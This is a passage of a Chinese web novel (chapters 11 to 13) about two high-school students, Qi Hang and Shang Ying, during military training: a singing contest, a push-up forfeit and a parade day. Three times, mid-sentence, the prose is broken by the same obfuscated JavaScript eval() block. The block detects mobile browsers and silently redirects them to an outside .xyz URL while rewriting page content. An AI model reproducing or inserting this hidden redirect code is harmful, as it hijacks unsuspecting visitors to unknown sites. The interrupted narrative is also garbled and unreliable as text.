祁航打开双腿坐在草地上,关节微微屈起,一只手靠放在膝上,冷白清隽的指节还勾着一根细长柔韧的狗尾巴草,姿态散漫又恣意。 商盈这么一栽,直接摔进了他怀里,撑着祁航的膝盖才勉强稳住了身体。 “爬来爬去的干什么呢,地上有黄金?”似乎是为了不被教官发现,祁航压低了声音,只是语气依旧含着坏心眼的笑,像是在好脾气地逗弄一只猫。 清朗的少年音压着气在耳畔蓦地响起,像是金毛的尾巴拂过商盈的脸庞和耳畔。 商盈下意识缩了缩脖子,小声地迅速反击:“黄金没有,倒是有个神经。” 谁知道被骂神经的祁航不仅没生气,还低低地笑起来,“那快看好我这块神金,珍贵易碎品。” “......” 靠。 很少有人能这么不要脸。商盈觉得。 “还有没有连队要参加?”总教官在主席台上统筹,“要参加的连队举手!” 商盈骨碌碌地从祁航身上爬起来,小心翼翼地扫了眼他们连队。 没人举手。 他们一连是一支内向的连队。 “祁航。”商盈小小声地凑到他耳畔:“你想不想去对歌?” 小猫的呼吸轻轻软软的,轻擦过他的脖颈上让他想起夏夜里柔软的云朵。 祁航有一瞬间的心猿意马,随即防备地坐正了身子,“我们班都是文化生,喊不过人家的。” 商盈收了声。 祁航说的确实有道理,当初他们这一届分班就是根据中考成绩和竞赛等第综合分的班,他们一二两个班是竞赛班,基本都是文化生,比不得楼下的班级还有不少体育和艺术特长生。 大约也是意识到了这点,一连的人安静如鸡。 商盈也恹恹地盘腿坐了下来。 “还有没有连队要参加的?我数三个数。” 这一点都不公平。商盈想。 “三——” 商盈低头划拉着草地,她是不会祝福比赛的第一名的! “二——” 这时候商盈忽然感觉自己的脑袋被不轻不重地敲了一下,她听见有人笑着叹了口气,“真是拿你没办法。” 接着一大片阴影笼罩住了她,清醇的嗓音从她头顶扬起,“一连参加。” 同学们纷纷转过头来,看着双手插兜的祁航,不可置信:“航哥——?” 祁航肩一耸,“没事,就让他们见识一下我们的超绝水牛音色。” 一句话逗笑全场。 “啊啊啊啊航哥也真是的!” “水牛”是一班的外号。 高一的时候一班的分奴们为了点平时分报名参加了文艺汇演,谁知一首《黄河颂》以超绝水牛音色“哞”翻全场勇夺建校以来最低分,忙活了半天的学霸们连鼓励分都没捞着。 事后的比赛录像还被其他班的同学做了剪辑二创,金光闪闪的“阪阳私立”四个大字和令人潸然的水牛音色,反差感拉满,这条视频在上传到抖/音的当晚就火了。 还有不少网友锐评: [你好,这里不让停水牛] [果然上帝在为你开了一扇门的同时就会关上一扇窗] [很欣赏这个学霸班级,不躲高音,不假唱,不垫音,也不好听。] [后面好难听...没有说前面好听的意思。] [学霸们还在走唱歌这条弯路吗??] 就此,一班的学霸们用一次的外向换来了终生的内向。 “哈哈哈哈我们是什么很坏的班级吗?!!!” “啊啊啊不管了!大水牛驾到,通通闪开!!!!” 就这样,一班聒噪,张狂,但又热热闹闹地开始了他们的水牛表演。 虽然水牛一连横冲直撞地创飞了几个班,但无奈他们决赛对上了个艺术特长生占多数的连队,尽管连商盈都捂着耳朵大喊起来,但一班仍然遗憾落败。 十五连的教官笑开了花,叉着腰在两个连队间走来走去,“好好好,那让我们十五连来说,想给对面一连什么惩罚。” “报告!”有个男生气势十足,“要他们都做十个俯卧撑再起来。” “俯卧撑俯卧撑!”十五连都起哄起来,还有人看热闹不嫌事大,“十个俯卧撑会不会太轻松了?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223381|181623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那就让女生们坐男生身上!” “对对对,男生们背着女生做十个俯卧撑,女生们做十个仰卧起坐!” 教官们也已经玩上瘾了,笑着默认。 有些关系好的男女生已经找好了搭子,落单的人就由对方连队的人来搭配。 祁航自打入学以来就是整个年级的风云人物,一张堪比练习生的帅脸,成绩名列前茅性格又好,玩得起也输得起,整个年级没几个不认识他的。 此刻双手插兜挺拔地站在连旗旁,自然成了十五连的主要目标。 “要不让我们连的佳佳去,她练举重的,敦实!” “也可以让练田赛的去,全是结实的肌肉!” 商盈盘腿坐在一连第一排,那些讨论声都落入了她的耳朵里。 自然也有看不过去的人替他说话,“他们是想压死航哥吗?” “祁航明天不是还得举旗吗,别到时候真把胳膊压出了什么事。” 反观两支连队的话题中心,祁航正站在一连前面,俨然一副一夫当关万夫莫开的模样,眼底依旧漾着漫不经心的笑意,“行啊,我都可以。” 明明是落败方,硬生生被他站出了庄家通吃的气势。 “教官教官!”对面经过商讨后,最后还是决定让练举重的佳佳出战。 教官点点头,正要把人带到一连,转过身却看见祁航挺拔的身姿后,慢吞吞地露出了一双浅淡圆润的大眼睛。 教官:“?” 注意到陈杰的视线,祁航垂下目光偏过头,却发现一个毛茸茸的脑袋探了出来。 商盈拽着衣角,在十五连震惊的目光中磨磨蹭蹭地站了出来。 她并不擅长应付这种人多的大场面,就连开学典礼上的演讲,她也是冲着加平时分咬牙顶上的。 “报告教官。” 商盈没有给自己反悔的时间,“我和祁航一组。” 话音一落,十五连立即有人撕心裂肺:“啊——主任!你不是吧!!!!” 眼看着没好戏看了,旁边的人也劝:“想想他用你论坛ID干的猪事,商盈你别糊涂啊!” “我不管你是谁,现在快从商主任的身上下来!” 祁航在一片起哄声中微挑眉,笑,“时代也是好起来了,小猫救英雄。” “......” 商盈只慢吞吞地移开了眼神,“我不习惯欠狗人情。” 毕竟是她撺掇祁航参加的对歌比赛,要是祁航因此受伤,心里过意不去的一定还是她。 祁航这回低下头,笑得肩膀都在抖。 商盈觉得自己狠狠吃瘪、作茧自缚,遂恼羞成怒:“别笑了!” “为什么?” “因为你笑得很难看。我不喜欢。” 就是这样的霸道。 可是那又如何呢,嘴长在她身上,她想怎么说就怎么说。 “......”祁航双手插兜,弯下腰歪过头凑到商盈面前,“尊贵的商盈女士。” 商盈恶狠狠:“干嘛?” “想骂我不需要找理由的。” “......” 可恶。 被看穿了。 既然有同班的伙伴愿意站出来,那自然优先自愿配对,教官很快允许了祁航和商盈搭档。 总教官在主席台上打开了麦克风:“来,现在输掉的连队列队。” 祁航率先双手撑地伏下身子,扭过头,朝商盈干脆利落地掷了两个字,“上来。” 11. 第11页 chapter11. 祁航的身板高挑劲瘦,挺拔厮称。 此刻他把速干短袖的袖口往上捋到了肩膀,介于男高与成男的身型惹眼,臂上又带着些薄肌,发力时的线条流畅又美观。 商盈认真地拍干净了裤子上的草,按着祁航的肩头小心翼翼地坐了上去。 接着她蹙起眉头比划了一下,奇怪地看了眼自己的手掌。 ——怎么感觉自己的手掌变小了? 她又虚虚地按着祁航的肩背比划了一下。 ——还是祁航的肩变宽了? “准备好了吗?”总教官在主席台上拿着话筒走来走去,俨然一副看戏的模样。 商盈闻言赶紧坐到祁航身上, 接着她小心翼翼地盘起了腿,有些期待地问:“是不是很重?” 一码归一码,虽然她帮祁航免于整蛊,但也很期待自己能让祁航重重地吃点苦头。 谁知祁航竟然头也不回,疑惑道:“你坐上来了?” “……”什么?! 商盈的小后脑勺透着自我怀疑,很沉重地叹了口气。 总教官在台上控制节奏,“各就位,听我数。” “一——” 祁航应声伏了下去,袖口卡在他的肩膀处,手臂部分爆发出脉络清晰的肌肉线条。 有不少学生第一个俯卧撑就没能撑起来,还有女生没坐稳滑了下来。 “坐好了。”见状,祁航的嗓音沉沉的,“扣住我的肩。” 商盈下意识攥紧了少年的臂膀。 炽热的温度源源不断地透过军训服的衣料传来,商盈微微蜷起了手指。 “二——” 商盈被祁航撑了起来。 少年的身段挺拔劲韧,力气爆发时商盈甚至能感觉到他的脊背间每块肌肉的变化。 “三——” 到了第三个俯卧撑的时候,不少人都颤颤巍巍地发着抖,女生也尽量让自己不再掉下来,结果就是两个人抖得更加厉害。 “四——” 周围摔闹的笑声和叫声此起彼伏。 看着周围各式各样的摔法,商盈十分操心,低头同祁航谨慎地商量:“祁航,不行了就喊,知道吗?” 至少让她提前做个准备,可别摔坏她了。 祁航像是听到了什么天大的谬事,漆黑的眼瞳迸出不可置信,“我不行?你觉得我不行??” “......” 商盈不明白祁航为什么会有这么大的反应,只是又默默抓紧了祁航的肩膀,“你...你别抖了。” ...被谁气得发抖? 祁航回过头,漆黑的眼瞳微眯,“我行不行你很快就能知道了。” 起初商盈还不懂他这话是什么意思,直到接下来祁航一个接一个的做起俯卧撑,完全不再跟着教官的节奏,等到教官数完十个数时,商盈甚至觉得他已经做了二十来个了。 要不是她及时站了起来,商盈甚至怀疑他会继续做下去。 就这么喜欢做俯卧撑吗? 商盈顿悟,原来这对他来说是奖励啊! 祁航出了层薄汗,短袖的两侧都被卷到了肩头,于是一整条手臂的肌肉线条清晰可见,充满蓬勃的力量感,连带着手背绷起的青筋血管,简直荷尔蒙爆炸。 他不紧不慢地捏着肩膀,走近商盈,眼底黑亮,“怎么样,我行不行?” 像是猛兽的半成年体,尚未沉淀为成年野兽的低调沧桑,而是带着少年气尚未被磨平的亮,连尾尖甩动时扫过草叶的弧度,都透着点没遮没拦的野。 商盈并不打算如他的意,只装作挑剔,“就那样呗。” “就那样?” 祁航立刻作势要趴下,“来你上来,我还能继续做。” “诶诶诶算了算了。”商盈急忙去拉他的胳膊。 眼看着周围三三两两的同学都被这里的动静吸引了目光,商盈只想让祁航赶紧恢复正常。 “这怎么能算?”祁航十分上头,“你忘了以前你还把我当狗骑吗?” “祁航!”商盈两眼一黑,直接飞扑上去捂住了他的嘴巴。 这张嘴怎么净说些让人想死的话。 晚训结束后,大部队解散,三三两两的人结伴回宿舍。 商盈气鼓鼓,抱着付明昭的胳膊走在前面。 祁航毫无所觉,一路小跑着跟上商盈,像条甩不开的大尾巴,“又生气啦?” 付明昭默默闭眼,航哥平时情商挺高的,怎么在盈妹跟前就和情商离家出走了似的。 普通人就算不生气听到这话也能生出气来呀。 果不其然,商盈拉着付明昭又默默走快了一些。 “是因为我说了我们小时候的事吗?” 祁航有些无辜,“可是那时候你确实很喜欢骑着我四处爬啊...我说的不对吗?” 商盈很生气。 因为祁航竟然大庭广众之下说她把她当狗骑,这明明都是老黄历了,抛开年龄谈这个,难道不是一种陷害吗? “你说得固然有几分道理,但是平心而论,”商盈气急,“不是你让我骑你的吗,而且难道你没有骑过我吗?” 商盈记得很清楚,那时候他们当狗很公平,都是祁航骑她一次,她骑祁航一次,根本没有强迫行为! 后来是祁航自己喜欢当狗,商盈才勉为其难骑着他一起玩的,每次都只能当骑的那一个,她还没说自己委屈呢! 他在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223382|181623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大庭广众之下说这些,一定是想装可怜,把她塑造成一个很坏的人,引起大家对他的同情。 又在骗人了。商盈想,祁航真的很坏。 付明昭:“......” 上官熠:“......” 付明熹:“......” 姗姗来迟的其他人有些凌乱——好限制级的话题,这么小众的癖好现在也可以拿出来讲了?? 晚上在男寝,祁航拆了手上的绷带。 正好碰上来洗澡的付明熹,他看了一眼就夸张地叫出来:“航哥,你的手。” 祁航看了眼,手上原本被利器划开的皮肉微微外翻。 只是今天打篮球一直出汗,虽然是左手,但运球和过人的时候都不免有挤压碰撞,有些皮肉已经被泡白了,绷带上还有反复出血的痕迹。 “没事。”祁航收回手,揉了揉肩继续道:“这不还有商盈给我的药。” “那只是外伤药,你真当灵丹妙药使啊。” 付明熹抢过祁航的脸盆,给他拧干了毛巾递过去,“不行,你今天别沾水了,明天和教官请半天的假去外面的医院看看。” “哪儿那么娇贵。” 最后祁航还是不容置喙地否决了付明熹的提议。 晚上睡觉的时候,祁航从枕头底下拿出了手机。 这是他和陈杰私下里下的赌注,要是赢了就把手机还给他。 刚打开手机,就跳出了商盈中午给他发的消息。 [手受伤了还要去打球] [这么爱出风头,活该手痛。] 接着商盈还给他转发了个小程序,点进去是阪阳一院的外科门诊预约。 [奶奶让我帮你挂的。] 过了五分钟她又发过来一句,[不去看你就死定了。] 祁航无意识笑了一下。 怎么想都知道,小猫根本不忍心把他受伤的消息告诉奶奶,让远在疏川的老人家为他担心。 祁航退出微信,看了眼明天的天气。 下雨,看来他去医院得打车才行。 确定了明天的路线后,祁航照常切进了游戏。 交手机那天祁航就注意到了商盈忧心忡忡又不肯开口的小模样,他知道小猫最近很想要一个回归皮肤,但这个皮肤只有连续签到才能拿到,当时祁航就打赌商盈心里肯定已经和这个皮肤告了八百次别。 登上商盈的游戏账号后,祁航先是帮她把日常任务都做了,签到过后又顺便打了两把游戏维持下账号活跃度,然后才放下手机睡觉。 小猫总是把自己的喜好隐藏在很深很深的心里,学习、规则等等的事情都可以随便插队。 但对祁航来说,小猫的优先级就是最高。 12. 第12页 chapter12. 阪阳私立在每年军训结束的时候会举办大演武,届时学校会向整个社会开放。 校外的人可以通过访客预约等方式进校。 大早上各个连队的教官就在排练过会儿大演武需要用到的方阵,小小的商盈被揪到了第一排。 她揪着身前斜挎的枪支背带,一脸严肃又纠结地眯眼望着教官排方阵。 付明昭趁着教官不注意,和另一个女生换了位置,换到了商盈身后。 “来了来了。”付明昭笑嘻嘻地朝商盈眨了眨眼。 商盈终于松了口气,展露笑颜,小小声喊了声,“昭昭。” 两个女孩子凑到了一块儿,商盈心情大好。 列队到一半,教官和一旁的助教耳语了几句,就朝人群里吆喝,“过会儿方阵游行和手语操一起进行,举旗手过来站第二排。” 一连的旗手是祁航。 他今天穿着一身正装制服,黄金绶带自左肩扣下,藏蓝色的军装将他的身段勾勒得英挺而颀长,包裹着有力双腿,黑色长靴显得沉肃威严。 只是现在阅兵还没开始,少年一手插兜,另一只手原地伫着连旗,姿态闲漫却不显得轻佻。 他戴着军帽,帽檐低压,只露出线条利落的下巴,身材高挑得不像话,站在那里自成一道风景线。 周围有不少女生都抻长脖子往一连望,现场的摄像机也频繁地路过这支连队。 “我去,航哥你今天怎么出了这么多汗?”付明昭在队伍里也不安分,方圆一米内能叫出名字的人都是她的社交对象,“我记得平常你不太出汗的吧?” 商盈听了,也跟着扭过头看了眼祁航。 祁航那双倜傥深邃的桃花眼先是掠过商盈,随后看向付明昭,偏过头轻声道:“今天主打一个清水出芙蓉。” 正装的衬衫并不透气,为了美观旗手们还被要求在腿上绑上衬衫夹。 在这种日头野烈、体感闷热的高温下,一整套正装穿下来,除了好看以外只能说是活受罪。 也只有祁航有这么好的心态了。 “还得是航哥。” 付明昭冲祁航狂摁大拇指,“高二一枝花名不虚传。” 商盈默默地收回了目光。 新皮肤么?没意思。 只有心志不坚定的人才会在乎那些虚无又虚荣的东西。 她穿着丑丑的旧衣服,背着丑丑的重枪,走丑丑的方阵也很好。 轮到方阵候场的时候,祁航的后脖颈已经全是汗了。 今天太阳很好,甚至有点好过头了,他又穿戴整齐,衬衫在这时候简直成了不透风的盔甲。 “你们有餐巾纸吗?”祁航微微蹲下身,“帮我擦擦,手抬不起来。” “有的航哥,包有的。”付明昭急忙从口袋里找出了几张蔫吧的餐巾纸,一口气全帮他糊上去了,“别嫌弃,虽然我的口袋里全是汗,但我保证都没用过。” 祁航:“没关系。” 无所谓,反正小的时候付明昭还朝他扔过鼻涕纸。 在商盈的鼓励下。 搓了两把,付明昭忽然感觉不太对。 揭开一看才发现,原本蔫吧的餐巾纸现在已经碎成了粉末,又被搓成一团一团的小球黏在了祁航的脖子上。 “我靠。”付明昭一下子懵了,“航哥...碎掉的餐巾纸全粘脖子上了。” “完蛋了。” 小猫有点幸灾乐祸。 并且马上就要上场,即将变得更加完蛋。 付明昭越急动作越乱。 祁航出了太多汗,原本黏在皮肤上的餐巾纸更是被付明昭搓成了更多更碎更难清理的碎粒,越清理越糟糕。 “对不起啊航哥,我不是故意的。”付明昭有些内疚。 “没事的昭昭,不是你的错,你只是想帮忙而已。”商盈一秒切换判官模式,“你好,餐巾纸坏。” “是啊小问题,别自责。”祁航搓了一把脖颈,看起来不甚在意,“一脖子的餐巾纸也是难忘的回忆。” “可是......” “你真要这么上场?” 听到祁航的话,商盈高冷地绷着小脸,忍不住指指点点,“邋里邋遢的,简直败坏阪阳私立的形象,辣眼睛!” 在一旁目睹全程的上官熠:...等一下,这骤变的态度是......? “是啊,我真坏。”祁航压了压帽檐,心情仿佛又好了起来,“怎么会有人这么坏啊?真是让人费解。愿意和我这么坏的人做朋友的人一定是世界上最善良最伟大的人了。” 呵呵。 商盈还想再刻薄几句,却转瞬发现她能想到的最坏的词都被祁航抢先说了。 卡壳半天,商盈只能再次对他的人品进行攻讦,“巧言令色。” 前面的开幕表演已经结束了,工作人员有条不紊地上场收拾地上的彩带。 就在这时候付明昭忽然惊叫了一声,“航哥,你的脖子好红。” 众人重新把注意力转回了祁航的脖颈上。 祁航的脖颈线条十分流畅,像是未拉满的弓弦,带着点冷感。 但就在他脖颈后面的那块阴影当中,肉眼可见泛起一片红肿,看着像是过敏了。 大家都有点犹豫,马上就要上场了,没有教官的指令他们都不敢轻举妄动。 就在这时候,商盈突然转过身,她同付明昭耳语了几句,付明昭的脸色有些担心,小声问着,“能行吗?” 却被商盈拍拍小手表示安抚。 接着商盈就拉起祁航的手离开了队伍。 队伍后面不明真相的付明熹忍不住焦急地喊起来:“诶诶盈妹航哥,都快上场了......你们要去哪儿?” “嘘嘘嘘嘘。”上官熠急忙上去捂住了付明熹的嘴巴。 付明昭则直接穿到后排摁下了付明熹的脑袋,对教官陈杰举手。 那一瞬间,付明昭的脸上仿佛带着某种六亲不认的决绝。 接着她深吸一口气,坚定地开口:“报告教官,付明熹拉肚子了,他想上厕所!” “唔唔唔唔!”付明熹震惊地抬眼,却看见自家妹妹正疯狂地给他使眼色。 付明昭的嗓门出了门的大,两人在后排闹出不小的动静,教官果然被吸引过来了。 陈杰背着手打量着付明熹,“你...肚子不舒服?” 接着他又环顾了圈周围的方阵,“马上就要上场了,你坚持坚持下来再去行吗?” 付明熹刚想点头,就被付明昭抢断了话,“不行啊,我哥还有痔疮,他现在是十万火急,生死攸关!” 付明熹:......擦。 世界静音,聆听他破防的声音。 陈杰纳闷,“真的吗?” 付明熹看着自家妹妹,万分不解:我...应该有吗? “哥,事到如今你就别逞强了。”上官熠也拍了拍他的肩,神色诚恳:“你就向教官据实以告吧,教官通情达理,肯定能够理解你的。” 付明熹不可置信扭过头:兄弟你也......? 付明昭:“哥!”盈妹需要你。 上官熠:“哥!”航哥也需要你。 付明熹:“...我...??” 虽然此时此刻付明熹很想问清楚到底发生了什么,但看着上官熠和付明昭迫切又恳求的神色,作为兄长的担当与责任又似乎在熊熊燃烧。 内心两股力量不断地拉扯纠结。 一边是他作为兄长照顾弟弟妹妹责无旁贷,另一边则是他的清白和尊严……到底谁会把痔疮这事儿捅到别人跟前说啊! 最后付明熹像是下定了某种决心一般,众目睽睽之下,沉重地点了点头。 所有是非过错他一人承担! 付明昭和上官熠同时松了口气。 付明熹已经不记得自己是怎么去上厕所的了。 只记得他在大庭广众之下被确诊了痔疮,就像小说里协约结婚的夫妻一样,他们彼此都知道那个东西不存在,却因为自己该死的责任心必须努力地在观众面前进行无实物表演。 …今天的人设是一个拥有超大痔疮的脆弱病人。 看着付明熹一瘸一拐地跑去厕所,上官熠良心乍现:“这么对待你哥真的没问题吗?” “总要有人负重前行。”说着,付明昭默默看向身边的人,“不是你就是我哥。” “...不过话又说回来,”上官熠良心消失,“大哥演得真是惟妙惟肖,下次还找他。” “……” 另一边,商盈带着祁航一路穿过人群,一直到树荫也僻静下来的角落。 “到底要带我去哪儿?”祁航任由她拉着走,却还是忍不住好心提醒,“临时离队小心教官扣你的平时分。” 直到两人走到主席台背面后,商盈才停下脚步。 “这是要干什么?” 祁航站定,扫了眼周围,犹豫道:“...不知盈皇能否给小的一个明示?” 就爱玩点皇帝和刁民的小游戏。 商盈没说话,祁航纳闷地低下眼去看商盈的神色。 紧接着就看到她浓黑的睫毛下显出点点的坚毅,斩钉截铁地开口:“脱衣服吧。” 祁航:“......” “什么?”祁航疑心自己在幻听,“你刚刚说话了吗?” 商盈抹了把眼睫下的汗珠,那张萌脸上显露出一种近似于老兵一般的从容,“我说,让你脱衣服。” 语气自然的就像是询问今天晚上吃什么一样。 祁航:......??!! “这不合适吧......” 商盈不想浪费时间,直接上手,“让你脱你就脱。” “我......!!” 祁航连连后退,一改方才漫不经心的从容,耳畔也以肉眼可见的速度爬上慌乱的绯色,“商盈,你知道害臊两个字怎么写吗?” 商盈看了他一眼,剔透的眼瞳里是清凌凌的刻薄:“你都不知道我怎么会知道。” ...这个攻击性祁航是认可的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223383|181623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你...”祁航后退着一直撞上了身后的墙壁。 他忍无可忍一把扣住商盈的手腕,脖颈上的青筋都偾起,“你、你到底要干什么?” 商盈挣扎着要脱手,小脸严肃地绷紧:“你脱不脱?” “现在...不合适。”祁航被商盈的目光盯得脾气软了些,“祖宗,回家脱行吗,回家你想让我脱几件我就脱几件。” 回家脱还有什么用? 有时候商盈真的觉得祁航是个很笨的人。 “现在就脱。”商盈看起来是真的要生气了,脆生生地连名带姓喊他,“祁、航!” 对峙了两秒钟,两人谁也不让谁。 最后还是祁航先松了口,声音轻得像是飘过来,“...祖宗......” 眼看着商盈依旧绷着一张小脸,他有些无奈,晃了晃脑袋,“必须脱吗?” 看起来颇几分良家妇男被强抢的无助。 而此时小猫已经上手了,听到这话她掀起眼皮,很刻薄地回击:“少在这里磨磨蹭蹭。” 商盈完全不理解此人为何要如此忸怩。 明明她已经冒着会被教官抓到扣分的风险来帮助他了,难道他竟然要恩将仇报拉着她共沉沦? 这样想着,商盈开始后悔自己竟然做了那么善良那么不计前嫌的举动。 真是农夫与蛇、东郭先生与狼、吕洞宾与狗......她还没在心底唾弃完祁航的恶行,就见后者突然按着她的手,在她面前解开了衬衫的纽扣,一颗接着一颗。 接着商盈的双手被他带着,像是剥洋葱似的三下五除二抓着领子把他的衣服拉下肩头。 祁航抿着唇,赶在自己的羞耻心回笼前扒下了自己的衣服,耳朵通红,“行了吧?” 商盈愣愣的,目光下意识扫过他的喉结,到肩颈,再到锁骨。 挺拔劲瘦,皮肤白皙,青筋暗偾,宽肩窄腰。 不是健身房里吃蛋白粉练出来的死肌肉,而是独属于少年人矫健匀称的身段。 祁航偏过头,视线难得慌乱得像是逃窜。 目光看上看下,从万里无云的晴天扫到泛着金光的树叶尖儿再到地上热晕的知了。 什么都看,就是不肯看商盈。 他的心底有些屈辱,但心脏又违和地跳得咚咚隆咚呛。 得。 合着寒窗苦读十七年给人当模子了。 祁航舔了舔唇角还想说些什么,商盈却让他弯腰。 弯腰? ...小猫从哪里学来这么多的小花招? 祁航疑惑之余不免警惕。 假使是她自己好奇学习的知识也就算了,可如果是有人蓄意想要教给她这些...祁航想着,那双漆黑的眼瞳里情绪难得沉了下去。 这时候商盈不知道从哪里找出了一瓶矿泉水,拧开瓶盖后直接朝祁航的脖子上浇了下去,“屏气。” 祁航还没来得及开口就被迫闭上了嘴。 水流汩汩不断地冲刷过祁航的脖颈,细小的水径冲流过耳畔和下颌。 他不自在地动了动耳朵,接着耳朵上的水珠就被人轻轻地拂去了。 商盈一边浇水一边替他冲开脖子上的碎屑,动作轻柔小心,一如她长相那样清白雾软。 祁航这时候才反应过来,商盈这是在帮他收拾狼藉。 脖颈处火辣辣的一片终于被暂时抚平,祁航不由得长舒了口气。 她的手掌小小的,胆子也小小的,但为他闹出的动静却很大。 奔腾的热血短暂被清凉的矿泉水冲刷,却让心底的躁动更加明晰,像是不灭的烈火,鼓噪喧嚣,越燎越炽热。 商盈又找出了几张剩余的餐巾纸,一股脑全摁到了祁航的脖颈上。 他的肩颈线条清晰利落,肩膀出人意料地宽,热量透过纸巾渗到商盈的指腹间,顿了顿,她偏过头眼底撞进了祁航那红得可以滴血的耳朵。 商盈眯了眯眼,“祁航,你是不是在害羞啊?” 原本只是商盈的一句戏言,谁料祁航听到这话反应极大,猛地直起了身,“没有啊,谁说我害羞了?” 说着他还欲盖弥彰地看了眼商盈。 她就这样俏生生站在那里,水嫩又温软,像是枝头抱露的白山茶,他下意识滚动了一圈喉结,偏开目光。 大约是心里有鬼,祁航的状态显得十分不自在。 “可是你的耳朵好红...”商盈思忖再三,认为自己抓住了祁航十分不得了的把柄,立刻得意道:“你就是在害羞!” “没害羞...以前我们还在一个池子里洗澡,我害羞什么?” 似乎是觉得祁航言之有理,商盈歪过头,双手攀着他的臂膀探出脑袋来,认真地问:“那你脸红什么?” “......”祁航硬声硬气地盖过商盈的脸然后别开,“天、很、热。” 接着他像是劫后余生一般深吸了一口气。 心脏砰砰跳得有余响,祁航摸了摸自己的胸膛。 我靠。 什么时候这么可爱了。? 13. 第13页 chapter13. 事后付明昭评价此次的事件是一场非常成功的团伙作案,充分展现了“全员ALL忍”的凝聚力。 除了付明熹一人蹲在墙角捂着脸垂泪外,其他的人纷纷表示赞同。 只是在问及商盈到底如何帮祁航解决此事时,听到答案的付明昭一个人去阳台无声尖叫了半天。 脱衣/制服/室外/半裸/身高差/体型差。 我去,淫//荡啊。 付明昭激动地抱住商盈的胳膊,和她咬耳朵轻声询问:“怎么样怎么样?” 商盈一头雾水,“什么怎么样?” “脱了衣服的航哥怎么样?”付明昭两眼放光,即便捂着嘴兴奋也从眼里跑了出来,“航哥身材是不是很好,有肌肉吗?” 商盈顺着付明昭的引导回忆了一下。 她的记忆里只有少年的肩头似乎很宽,偏白的肌肤上汗珠顺着清隽的肌肉线条流下,虽然很不想承认但不得不说,很是赏心悦目。 付明昭显然对商盈有点失望,“你也没摸一把?” “摸了啊。”商盈一本正经,看着付明昭的眼里重新亮起了光,她也跟着兴奋:“我还趁机打了好几下他的脑袋呢!” 付明昭:“......” 谁问这种摸了?! “盈妹啊,你老实告诉我。”付明昭说着扶起商盈的一双手,诚恳问道:“面对航哥的□□,你就没有一点点世俗的欲望吗??” 小猫那双清圆的大眼睛里露出点点茫然,“欲望?” “......” 算了。 付明昭自觉这是在带坏小孩,默默收起了自己的好奇心,“是航哥还不够努力。” 商盈其实并不理解付明昭这一系列跨度极跳跃的对话,但听到付明昭对祁航的评价—— 暗号对上了。 商盈立刻应声,“嗯嗯。” 很高兴你也讨厌祁航并有自己的见解。 就在这时候,商盈的头顶忽然落下了一片阴凉。 浅淡的男声接着响起,“请问...是商盈同学吗?” 整场大演武终于结束,祁航也终于得以从旗手的队伍当中离开。 操场的铁丝网旁围了不少女生,看见祁航出来,有几个胆子大的也跟了上去。 祁航没管这群尾巴,只径直出了操场往外走去。 他的身量高,没走两步就在人群里找到了那道他再熟悉不过的身影。 祁航正准备抬手打招呼,就看见球网的另一侧还站着一个人。 他的神色倏然淡了些,目光一偏,看清了那个人。 一个,男生。 商盈不是随和健谈的性子,初次见面很少有人能和她自如谈笑。 可眼下他们有说有笑,似乎很谈得来的模样。 祁航微微歪过头,眼里流露出对那个男生的打量。 比商盈高了快一个头,也穿着阪阳私立的校服,剃着美式前刺却戴了个黑色方框眼镜,多少有点“如果阁下不通文墨,那我也略懂些拳脚”的味道。 但此时此刻,祁航的心里就一句话。 ——这号人哪儿冒出来的? 两人聊着聊着,商盈像是有所感应似的转过头。 似乎是很肯定祁航在找她,商盈朝他挥了挥手,“我在这里。” 那个男生的目光也跟着看过来。 一瞬间祁航有一种他入侵了他们之间结界的,微妙的,不爽感。 啧。怎么会有人给他的第一印象就这么差? 祁航提起一个笑,走到了商盈身边,不冷不热地看向那个男生,“这位是?” “江皓翎。”顿了顿,商盈又补充了句,“高一入学考时的生物年级第一。” 商盈有些小得意。 因为祁航应该知道,高一期末时候的生物年级第一已经变成了她。 天才就是这样啦。 商盈默默挺起自己的小胸脯。 祁航当然懂她的意思,却故意转向江皓翎道:“哦,兄弟这么厉害啊。” 江皓翎也听说过祁航的大名,高一化竞第一,物竞前三。 不仅成绩好,体育也好,军训时的那场篮球赛他也去看了,反打得确实漂亮,加上他的性格也好,左右逢源,在整个年级都很有名气。 江皓翎笑了笑,客套回应,“谢谢,你也很厉害。” 没有如愿得到夸奖的商盈叹了口气,装模作样,“不过去年那道遗传题还是很难的。” “嗯?”提到这茬,江皓翎也来劲了,“是那道模赛题吗,题很新,我没见过。” 商盈立即彰显自己的博学,“其实期末考压轴的第三小题也用到了。” 